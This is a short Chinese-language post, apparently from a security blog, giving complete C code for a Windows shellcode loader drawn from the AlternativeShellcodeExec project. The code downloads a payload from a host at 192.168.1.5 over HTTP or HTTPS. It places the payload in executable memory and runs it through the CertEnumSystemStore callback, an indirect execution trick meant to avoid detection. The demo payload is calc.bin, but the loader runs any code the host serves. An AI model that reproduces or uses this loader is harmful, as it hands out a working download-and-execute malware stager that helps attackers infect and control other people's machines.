是github项目AlternativeShellcodeExec中提到的一些函数可以用来执行shellcode
项目里面还有很多函数可以利用,因为是在本地线程执行shellcode的,所以这里只贴出其中一个完整的利用代码
#include <windows.h>
#include <stdio.h>
#include <wincrypt.h>
#include <WinInet.h>
#pragma comment(lib, "WinInet.lib")
// Requires Crypt32.lib
// 需要在链接器 -> 输入 -> 附加依赖项 中添加如下库
/*
kernel32.lib
user32.lib
gdi32.lib
winspool.lib
comdlg32.lib
advapi32.lib
shell32.lib
ole32.lib
oleaut32.lib
uuid.lib
odbc32.lib
odbccp32.lib
Crypt32.lib
*/
// 定义结构体
typedef struct {
char* shellcode;
int size;
} SHELLCODO, * PSHELLCODE;
BOOL downloadShellcode(LPCWSTR url, int port, LPCWSTR payloadPath, BOOL isEncrypted, PSHELLCODE pShellcode);
int main() {
SHELLCODO shellcode = { 0 };
BOOL s = downloadShellcode(L"192.168.1.5", 80, L"/calc.bin", FALSE, &shellcode);
LPVOID addr = ::VirtualAlloc(NULL, shellcode.size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
::RtlMoveMemory(addr, shellcode.shellcode, shellcode.size);
::CertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER, NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE)addr);
}
// 下载shellcode
BOOL downloadShellcode(LPCWSTR url, int port, LPCWSTR payloadPath, BOOL isEncrypted, PSHELLCODE pShellcode) {
HINTERNET hInternet = InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (hInternet == NULL) {
printf("[-] Internet open error.\n");
return FALSE;
}
HINTERNET hHttpSession = InternetConnect(hInternet,
url, port,
NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (hHttpSession == NULL) {
printf("handle is null\n");
return FALSE;
}
HINTERNET hHttpRequest;
//HTTP
if (port == 80)
{
hHttpRequest = HttpOpenRequest(hHttpSession,
L"GET", payloadPath,
NULL, L"", NULL, INTERNET_FLAG_NO_CACHE_WRITE, 0);
}
// https
else
{
hHttpRequest = HttpOpenRequest(hHttpSession,
L"GET", payloadPath,
NULL, L"", NULL,
INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_CACHE_WRITE, 0);
}
if (hHttpRequest == NULL) {
printf("hHttpRequest is null\n");
return FALSE;
}
BOOL status = HttpSendRequest(hHttpRequest, NULL, 0, NULL, 0);
// 获取响应大小
WCHAR buffer[32] = { 0 };
DWORD bufLen = sizeof(buffer);
HttpQueryInfo(hHttpRequest, HTTP_QUERY_CONTENT_LENGTH, buffer, &bufLen, 0);
DWORD fileSize = (DWORD)_wtoi(buffer);
// 读取文件内容
char* content = (char*)malloc(fileSize);
DWORD length = 0;
ZeroMemory(content, fileSize);
if (InternetReadFile(hHttpRequest, content, fileSize, &length) == FALSE) {
printf("write data to memory error.\n");
return FALSE;
}
char* exec = (char*)VirtualAlloc(0, fileSize, MEM_COMMIT, PAGE_READWRITE);
memcpy(exec, content, fileSize);
pShellcode->shellcode = exec;
pShellcode->size = fileSize;
return TRUE;
}